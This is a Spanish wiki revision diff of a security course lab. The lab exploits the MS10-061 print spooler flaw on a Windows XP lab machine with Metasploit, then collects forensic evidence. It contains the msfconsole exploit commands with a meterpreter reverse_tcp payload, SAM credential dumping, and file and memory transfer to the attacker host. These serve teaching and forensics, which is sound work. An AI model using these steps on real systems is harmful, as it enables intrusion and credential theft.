Muestra las diferencias entre dos versiones de la página.
Ambos lados, revisión anterior Revisión previa Próxima revisión | Revisión previa | ||
sad:t2:m4 [2018/12/17 14:20] José Manuel Guallar |
sad:t2:m4 [2019/01/10 14:40] (actual) José Manuel Guallar |
||
---|---|---|---|
Línea 1: | Línea 1: | ||
====== Metasploit 4 ====== | ====== Metasploit 4 ====== | ||
- | Escenario | + | **Escenario** |
¿Alguna vez ha oído hablar de cómo alguien fue capaz de conectarse a una impresora compartida y más tarde obtener el privilegio de administrador de esa máquina? Bueno, los atacantes pueden usar la técnica que Stuxnet para obtener privilegios para los servidores Windows XP y Windows 2003 que comparten impresoras. Esta lección proporcionará (1) el reconocimiento para ver esta vulnerabilidad potencial, (2) realizar la explotación, y (3) cómo recoger los archivos forenses para una investigación posterior. | ¿Alguna vez ha oído hablar de cómo alguien fue capaz de conectarse a una impresora compartida y más tarde obtener el privilegio de administrador de esa máquina? Bueno, los atacantes pueden usar la técnica que Stuxnet para obtener privilegios para los servidores Windows XP y Windows 2003 que comparten impresoras. Esta lección proporcionará (1) el reconocimiento para ver esta vulnerabilidad potencial, (2) realizar la explotación, y (3) cómo recoger los archivos forenses para una investigación posterior. | ||
- | ¿Qué es Helix? | + | ** ¿Qué es Helix?** |
Helix es una distribución personalizada del CD de Knoppix Live Linux. Se centra en la respuesta de incidentes y la informática forense. Helix es algo más que un CD de arranque en vivo. Con Helix puedes arrancar en un robusto entorno Linux que incluye (1) un kernel Linux personalizable, (2) excelente detección de hardware y (3) muchas aplicaciones dedicadas a la respuesta de incidentes y forenses. | Helix es una distribución personalizada del CD de Knoppix Live Linux. Se centra en la respuesta de incidentes y la informática forense. Helix es algo más que un CD de arranque en vivo. Con Helix puedes arrancar en un robusto entorno Linux que incluye (1) un kernel Linux personalizable, (2) excelente detección de hardware y (3) muchas aplicaciones dedicadas a la respuesta de incidentes y forenses. | ||
Línea 15: | Línea 15: | ||
El directorio de trabajo en ese momento es %SystemRoot%system32. Un atacante puede especificar cualquier nombre de archivo, incluyendo rutas transversales o completas de directorios. Al enviar solicitudes WritePrinter, un atacante puede controlar completamente el contenido del archivo creado. | El directorio de trabajo en ese momento es %SystemRoot%system32. Un atacante puede especificar cualquier nombre de archivo, incluyendo rutas transversales o completas de directorios. Al enviar solicitudes WritePrinter, un atacante puede controlar completamente el contenido del archivo creado. | ||
- | Referencias | + | **Referencias** |
* http://cvedetails.com/cve/2010-2729/ | * http://cvedetails.com/cve/2010-2729/ | ||
* https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-061 | * https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-061 | ||
- | Requisitos para hacer esta practica | + | **Requisitos para hacer esta practica** |
* Maquina XP | * Maquina XP | ||
* Kali | * Kali | ||
- | Post requisitos | + | ** Post requisitos** |
* Volatility | * Volatility | ||
- | Que haremos en esta practica | + | **Que haremos en esta practica** |
* Descargar Helix2008R1 | * Descargar Helix2008R1 | ||
Línea 71: | Línea 71: | ||
Utilizamos el nmap TCP SYN Scan (-sS) y UDP (-sU) para buscar rápidamente en el XP los puertos de NetBios 137 a 139 y 445. Tambien usamos -= (Footprint del sistema operativo), para que nos diga que sistema operativo estamos escaneando | Utilizamos el nmap TCP SYN Scan (-sS) y UDP (-sU) para buscar rápidamente en el XP los puertos de NetBios 137 a 139 y 445. Tambien usamos -= (Footprint del sistema operativo), para que nos diga que sistema operativo estamos escaneando | ||
- | NetBIOS es un acrónimo de sistema de entrada/salida básico de red. Ofrece servicios relacionados con la capa de sesión del modelo OSI, lo que permite es que aplicaciones en equipos independientes puedan comunicarse a través de una red de área local | + | **NetBIOS** es un acrónimo de sistema de entrada/salida básico de red. Ofrece servicios relacionados con la capa de sesión del modelo OSI, lo que permite es que aplicaciones en equipos independientes puedan comunicarse a través de una red de área local |
Se utiliza el puerto TCP 445 para acceso directo de red de Microsoft TCP/IP sin necesidad de una capa de NetBIOS. El protocolo SMB (Server Message Block) se utiliza entre otras cosas para archivos compartidos en Windows NT / 2K/XP. | Se utiliza el puerto TCP 445 para acceso directo de red de Microsoft TCP/IP sin necesidad de una capa de NetBIOS. El protocolo SMB (Server Message Block) se utiliza entre otras cosas para archivos compartidos en Windows NT / 2K/XP. | ||
Línea 95: | Línea 95: | ||
{{:sad:t2:m4:13.png?400|}} | {{:sad:t2:m4:13.png?400|}} | ||
- | + | ** | |
- | Acceso a los recursos SMB | + | Acceso a los recursos SMB** |
<code> | <code> | ||
Línea 120: | Línea 120: | ||
msfconsole | msfconsole | ||
search ms10_061 | search ms10_061 | ||
- | use exploit/windows/smb/sm10_061_spoolss | + | use exploit/windows/smb/ms10_061_spoolss |
info | info | ||
set PAYLOAD windows/meterpreter/reverse_tcp | set PAYLOAD windows/meterpreter/reverse_tcp | ||
Línea 177: | Línea 177: | ||
(/fi) es un filtro; y ( "PID EQ " 1876 ") filtrar o mostrar sólo un PID que coincida con 196. | (/fi) es un filtro; y ( "PID EQ " 1876 ") filtrar o mostrar sólo un PID que coincida con 196. | ||
- | netstat muestra conexiones de red. | + | **netstat** muestra conexiones de red. |
(-n) muestra direcciones y números de puerto en forma numérica | (-n) muestra direcciones y números de puerto en forma numérica | ||
Línea 193: | Línea 193: | ||
<code> | <code> | ||
- | tasklist > forensics_tasklist.txt | + | tasklist > forense_tasklist.txt |
- | netstat -nao > forensics_netstat.txt | + | netstat -nao > forense_netstat.txt |
- | dir > forensics_dir.txt | + | dir > forense_dir.txt |
exit | exit | ||
</code> | </code> | ||
Línea 206: | Línea 206: | ||
{{:sad:t2:m4:23.png?400|}} | {{:sad:t2:m4:23.png?400|}} | ||
- | + | ** | |
- | Obtener la base de datos SAM | + | Obtener la base de datos SAM** |
[[https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics]] | [[https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics]] | ||
Línea 229: | Línea 229: | ||
{{:sad:t2:m4:25.png?400|}} | {{:sad:t2:m4:25.png?400|}} | ||
- | Preparacion de la recogida de datos de la memoria | + | **Preparacion para la recogida de datos de la memoria** |
<code> | <code> | ||
Línea 237: | Línea 237: | ||
</code> | </code> | ||
- | Se crea un directorio llamado forense /ms10_061. Use (-p) para suprimir un error si el directorio ya existe. | + | Se crea un directorio llamado forense/ms10_061. Use (-p) para suprimir un error si el directorio ya existe. |
- | Se cambia el directorio en/forense ICS/ms10_061. | + | Se cambia el directorio en/forense /ms10_061. |
Creamos un escucha netcat (-l) en el puerto (-p) 8888 en modo detallado extremo (-vvv) redirigir (>) salida en un archivo (ms10_016.dd) | Creamos un escucha netcat (-l) en el puerto (-p) 8888 en modo detallado extremo (-vvv) redirigir (>) salida en un archivo (ms10_016.dd) | ||
Línea 285: | Línea 285: | ||
<code> | <code> | ||
pwd | pwd | ||
- | download C:\\WINDOWS\\system32\\forensics_tasklist.txt /forensics/ms10_061/ | + | download C:\\WINDOWS\\system32\\forense_tasklist.txt /forense/ms10_061/ |
- | download C:\\WINDOWS\\system32\\forensics_netstat.txt /forensics/ms10_061/ | + | download C:\\WINDOWS\\system32\\forense_netstat.txt /forense/ms10_061/ |
- | download C:\\WINDOWS\\system32\\forensics_dir.txt /forensics/ms10_061/ | + | download C:\\WINDOWS\\system32\\forense_dir.txt /forense/ms10_061/ |
- | download C:\\WINDOWS\\system32\\RvOYs3UqrJqo7a.exe /forensics/ms10_061/ | + | download C:\\WINDOWS\\system32\\RvOYs3UqrJqo7a.exe /forense/ms10_061/ |
</code> | </code> | ||